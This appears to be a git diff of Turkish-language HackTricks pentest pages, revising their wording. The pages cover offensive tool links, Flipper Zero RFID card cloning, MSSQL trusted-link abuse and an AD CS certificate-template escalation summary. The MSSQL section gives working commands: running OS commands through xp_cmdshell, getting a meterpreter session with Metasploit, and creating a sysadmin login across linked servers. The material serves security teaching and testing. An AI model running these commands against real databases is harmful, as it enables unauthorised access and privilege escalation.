* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross, bir Rekonstrüksiyon, Tarayıcı ve bir araçtır, penetrasyon / BugBounty testi için. Bu araç, (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) zafiyetlerini test etmek için oluşturulmuştur
# Windows
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Yanal hareketler
@ -85,7 +85,7 @@ HackTricks'ı desteklemenin diğer yolları:
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Powershell yüklerini şifrele
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Gizli C2
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows İç Yapıları hakkında bir dizi günlük
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Belgeyi kimin açtığını izle
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Bir belgeyi kimin açtığını izle
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory Hile Sayfası
# Firmware
@ -103,7 +103,7 @@ Sonrasında:
Firmware'i çevrimdışı bulamazsak nasıl çıkarırız: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
Analiz etmek için güvenlik açıklarına sahip bir firmware: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
Analiz etmek için zafiyetli bir firmware: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
ve firmware analiz etmek için OWASP metodolojisi: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
@ -117,13 +117,13 @@ Firmware emülasyonu: FIRMADYNE (https://github.com/firmadyne/firmadyne/) Linux
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Statik kod analizi
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Yavaşça sonsuz bir banner gönderen SSH tuzagı.
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Sonsuz bir banner gönderen SSH tuzagı.
* AWS ve Bulut araçları: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* Phising için IFS (Interplanetary File System): [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* IP dönüşüm hizmetleri: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
* [https://theia-ide.org/](https://theia-ide.org) : Çevrimiçi IDE
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounty'ye başlamak için kaynaklar
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounty'ye başlamanız için kaynaklar
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS pentesting araçları
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Anahtar kelimeler
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT (Wifi, BLE, SSDP, MDNS) hackleme
@ -131,20 +131,19 @@ Firmware emülasyonu: FIRMADYNE (https://github.com/firmadyne/firmadyne/) Linux
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Bu liste Electron.js ile ilgili güvenlik konularını kapsamayı amaçlar.
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB programları hakkında bilgi
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubumuza katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) adresinden takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubumuza katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**Github depolarına**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -36,7 +36,7 @@ Bu tür etiketler hakkında daha fazla bilgi için [**bu giriş yazısını okuy
Kart bilgilerini **okumaya** çalışır. Sonra onları **taklit** edebilir.
{% hint style="warning" %}
Bazı interkomlar, anahtar kopyalamayı önlemeye çalışarak okumadan önce bir yazma komutu gönderir. Yazma başarılı olursa, o etiket sahte olarak kabul edilir. Flipper RFID taklit ettiğinde, okuyucunun orijinalinden ayırt etme şansı olmadığından, bu tür sorunlar ortaya çıkmaz.
Bazı interkomlar, anahtar kopyalamayı önlemeye çalışarak okumadan önce yazma komutu gönderir. Yazma başarılı olursa, o etiket sahte olarak kabul edilir. Flipper RFID taklit ettiğinde, okuyucunun orijinalinden ayırt etme şansı olmadığından, bu tür sorunlar ortaya çıkmaz.
{% endhint %}
### El ile Ekle
@ -45,44 +45,44 @@ Flipper Zero'da **manuel olarak verileri belirterek sahte kartlar oluşturabilir
#### Kartlardaki Kimlikler
Bazı durumlarda, bir kart aldığınızda, kartın kimliğinin (veya bir kısmının) kartın üzerine yazıldığını görebilirsiniz.
Bazen bir kart aldığınızda, kimliğin (veya bir kısmının) kartın üzerine yazıldığını görebilirsiniz.
* **EM Marin**
Örneğin, bu EM-Marin kartında fiziksel kartta **son 3'ü açık olan 5 bayt okunabilir**.\
Örneğin, bu EM-Marin kartında fiziksel kartta **son 3'ten 5 baytııkça okumak mümkündür**.\
Diğer 2'si karttan okunamıyorsa brute-force yöntemiyle bulunabilir.
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
* **HID**
Aynı durum bu HID kartında da geçerlidir, burada sadece 3 bayttan 2'si kartta yazılıdır.
Aynı durum bu HID kartında da geçerlidir, burada sadece 3 bayttan 2'si kartta yazılı olarak bulunabilir
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
### Taklit Et/Yaz
### Taklit/Yazma
Bir kartı **kopyaladıktan** veya **manuel olarak** kimliği **girdikten** sonra, Flipper Zero ile bunu **taklit etmek** veya gerçek bir karta **yazmak** mümkündür.
Bir kartı **kopyaladıktan** veya **kimliği manuel olarak girdikten** sonra, Flipper Zero ile bunu **taklit etmek** veya gerçek bir karta **yazmak** mümkündür.
## Referanslar
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'nı kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) katılın ya da beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.**
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -72,7 +72,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL Uzaktan Kod Çalıştırma (RCE)
MSSQL ana bilgisayarında **komutlar çalıştırmak** da mümkün olabilir
MSSQL ana bilgisayarında **komutlarını** çalıştırmak da mümkün olabilir
```powershell
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
@ -85,7 +85,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL Güvenilir Bağlantılar
Bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir olarak kabul ediliyorsa (veritabanı bağlantısı). Kullanıcı, güvenilen veritabanı üzerinde ayrıcalıklara sahipse, **güven ilişkisini kullanarak diğer örnekte de sorguları yürütebilecektir**. Bu güvenler zincirlenebilir ve kullanıcı belirli bir noktada yanlış yapılandırılmış bir veritabanı bulabilir ve komutları yürütebilir.
Bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa ve kullanıcı güvenilir veritabanı üzerinde ayrıcalıklara sahipse, **güven ilişkisini kullanarak diğer örnekte de sorguları yürütebilecektir**. Bu güvenler zincirlenebilir ve kullanıcı belirli bir noktada bazı yanlış yapılandırılmış veritabanları bulabilir ve komutları yürütebilir.
**Veritabanları arasındaki bağlantılar, orman güvenlik ilişkileri üzerinden bile çalışır.**
@ -129,19 +129,17 @@ Metasploit'i kullanarak güvenilir bağlantıları kolayca kontrol edebilirsiniz
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
### Elde Edilebilecek Güvenilir Bağlantıları Bulma
Metasploit'in yalnızca MSSQL'de `openquery()` işlevini kötüye kullanmaya çalışacağını unutmayın (yani, `openquery()` ile komut çalıştıramazsanız komutları çalıştırmak için **manuel olarak** `EXECUTE` yöntemini denemeniz gerekecektir, aşağıya bakınız.)
### Manuel - Openquery()
### El ile - Openquery()
**Linux** üzerinden **sqsh** ve **mssqlclient.py** kullanarak bir MSSQL konsol kabuğu elde edebilirsiniz.
**Windows** üzerinden ayrıca [**HeidiSQL**](https://www.heidisql.com) gibi bir **MSSQL istemcisi** kullanarak bağlantıları bulabilir ve komutları manuel olarak çalıştırabilirsiniz.
**Windows** üzerinden [**HeidiSQL**](https://www.heidisql.com) gibi bir **MSSQL istemcisi** kullanarak bağlantıları bulabilir ve komutları el ile çalıştırabilirsiniz.
_Windows kimlik doğrulaması kullanarak giriş yapma:_
_Windows kimlik doğrulaması kullanarak giriş yapın:_
![](<../../.gitbook/assets/image (805).png>)
#### Güvenilir Bağlantıları Bulun
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
@ -150,7 +148,7 @@ EXEC sp_linkedservers;
#### Güvenilir bağlantıda sorguları yürüt
Bağlantı aracılığıyla sorguları yürüt (örnek: yeni erişilebilir örnekte daha fazla bağlantı bulun):
Bağlantı üzerinden sorguları yürüt (örnek: yeni erişilebilir örnekte daha fazla bağlantı bulun):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
@ -170,9 +168,11 @@ SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", '
```
### Kılavuz - EXECUTE
`openquery()` içerisinden `exec xp_cmdshell` gibi eylemleri gerçekleştiremiyorsanız `EXECUTE` yöntemini deneyin.
`openquery()` içerisinde `exec xp_cmdshell` gibi eylemleri gerçekleştiremiyorsanız `EXECUTE` yöntemini deneyin.
Trusted bağlantıları da `EXECUTE` kullanarak kötüye kullanabilirsiniz:
### Manuel - EXECUTE
Güvenilir bağlantıları kötüye kullanabilirsiniz:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
@ -182,22 +182,23 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
**MSSQL yerel kullanıcısı** genellikle **`SeImpersonatePrivilege`** adı verilen özel bir ayrıcalığa sahiptir. Bu, hesabın "kimlik doğrulamadan sonra bir istemciyi taklit etmesine" olanak tanır.
Birçok yazarın ortaya koyduğu bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ara hizmete kimlik doğrulamaya zorlamaktır. Bu sahte hizmet, SİSTEM hizmetini kimlik doğrulamaya çalışırken taklit edebilir.
Birçok yazarın ortaya koyduğu bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu bir sahte veya ara hizmete kimlik doğrulamaya zorlamaktır. Bu sahte hizmet, SİSTEM hizmetini kimlik doğrulamaya çalışırken taklit edebilir.
[SweetPotato](https://github.com/CCob/SweetPotato), bu çeşitli tekniklerin bir koleksiyonuna sahiptir ve bunlar Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilir.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **HackTricks'te şirketinizin reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin**.
</details>

View file

@ -6,19 +6,19 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Bu, yazıların yükseltme teknikleri bölümlerinin özetidir:**
**Bu, yayınların yükseltme teknikleri bölümlerinin özetidir:**
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@ -33,19 +33,19 @@ HackTricks'ı desteklemenin diğer yolları:
* **Düşük ayrıcalıklı kullanıcılara Kurumsal CA tarafından kayıt hakları verilir.**
* **Yönetici onayı gerekli değildir.**
* **Yetkili personel imzaları gerekmeksizin.**
* **Sertifika şablonlarındaki güvenlik tanımlayıcılarıırı derecede izin verici olup, düşük ayrıcalıklı kullanıcıların kayıt haklarını elde etmelerine izin verir.**
* **Sertifika şablonlarındaki güvenlik tanımlayıcılarıırı derecede izin verici şekilde yapılandırılmıştır, bu da düşük ayrıcalıklı kullanıcıların kayıt hakları elde etmesine olanak tanır.**
* **Sertifika şablonları, kimlik doğrulamayı kolaylaştıran EKU'ları tanımlamak üzere yapılandırılmıştır:**
* Uzatılmış Anahtar Kullanımı (EKU) tanımlayıcıları, Müşteri Kimlik Doğrulaması (OID 1.3.6.1.5.5.7.3.2), PKINIT Müşteri Kimlik Doğrulaması (1.3.6.1.5.2.3.4), Akıllı Kart Girişi (OID 1.3.6.1.4.1.311.20.2.2), Herhangi Bir Amaç (OID 2.5.29.37.0) veya EKU olmayan (AltCA) gibi dahil edilir.
* Uzatılmış Anahtar Kullanımı (EKU) tanımlayıcıları, Müşteri Kimlik Doğrulaması (OID 1.3.6.1.5.5.7.3.2), PKINIT Müşteri Kimlik Doğrulaması (1.3.6.1.5.2.3.4), Akıllı Kart Girişi (OID 1.3.6.1.4.1.311.20.2.2), Herhangi Bir Amaç (OID 2.5.29.37.0) veya EKU olmayan (AltCA) gibi dahil edilmiştir.
* **İsteyenlerin Sertifika İmzalama İsteği'nde (CSR) bir subjectAltName eklemesine izin verilir:**
* Eğer mevcutsa, Active Directory (AD) bir sertifikadaki subjectAltName (SAN) önceliğini kimlik doğrulama için kullanır. Bu, bir CSR'da SAN'ı belirterek, bir sertifika isteyicisinin herhangi bir kullanıcıyı (örneğin, bir etki alanı yöneticisini) taklit etmek için bir sertifika isteyebileceği anlamına gelir. Bir SAN'ın isteyen tarafından belirtilebilip belirtilemeyeceği, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla belirtilir. Bu özellik bir bit maskesidir ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, isteyenin SAN'ı belirtmesine izin verir.
* Eğer mevcutsa, Active Directory (AD) bir sertifikadaki subjectAltName (SAN) önceliğini kimlik doğrulaması için yapar. Bu, bir CSR'da SAN'ı belirterek, bir sertifikanın herhangi bir kullanıcıyı taklit etmek için istenebileceği anlamına gelir (örneğin, bir etki alanı yöneticisi). Bir SAN'ın isteyen tarafından belirtilebilir olup olmadığı, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla belirtilir. Bu özellik bir bit maskesidir ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, isteyenin SAN'ı belirtmesine izin verir.
{% hint style="danger" %}
Belirtilen yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifikaları talep etmelerine izin verir, böylece Kerberos veya SChannel aracılığıyla herhangi bir etki alanı prensibi olarak kimlik doğrulaması yapabilirler.
